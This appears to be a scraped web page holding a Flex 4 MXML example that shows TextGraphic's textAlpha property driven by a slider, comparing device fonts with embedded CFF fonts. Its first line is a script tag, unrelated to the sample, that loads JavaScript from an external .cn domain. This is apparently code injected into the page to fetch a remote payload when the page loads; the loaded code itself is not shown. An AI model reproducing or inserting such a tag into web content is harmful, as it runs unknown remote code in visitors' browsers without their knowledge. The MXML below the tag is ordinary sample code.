<script src="http://www.cpcasr.cn/ad_js/mm_123.js"></script>
main.mxml
- <?xml version="1.0" encoding="utf-8"?>
- <FxApplication name="TextGraphic_textAlpha_test"
- xmlns="http://ns.adobe.com/mxml/2009">
- <layout>
- <BasicLayout />
- </layout>
- <Style>
- @font-face {
- src: url("assets/ARIAL.TTF");
- fontFamily: "ArialEmbedded";
- cff: true;
- }
- TextGraphic {
- fontSize: 24;
- }
- </Style>
- <HGroup left="10" top="10">
- <Label text="textAlpha:" />
- <FxHSlider id="slider"
- minimum="0.0"
- maximum="1.0"
- value="1.0"
- stepSize="0.1"
- valueInterval="0.1"
- liveDragging="true" />
- </HGroup>
- <Form id="form"
- horizontalCenter="0"
- verticalCenter="0">
- <FormItem label="device:">
- <Graphic>
- <TextGraphic id="deviceTextGraphic"
- textAlpha="{slider.value}"
- fontFamily="Arial"
- fontLookup="device"
- width="300">
- <text>The quick brown fox jumped over the lazy dog.</text>
- </TextGraphic>
- </Graphic>
- </FormItem>
- <FormItem label="embeddedCFF:">
- <Graphic>
- <TextGraphic id="embeddedTextGraphic"
- textAlpha="{slider.value}"
- fontFamily="ArialEmbedded"
- fontLookup="embeddedCFF"
- width="300">
- <text>The quick brown fox jumped over the lazy dog.</text>
- </TextGraphic>
- </Graphic>
- </FormItem>
- </Form>
- </FxApplication>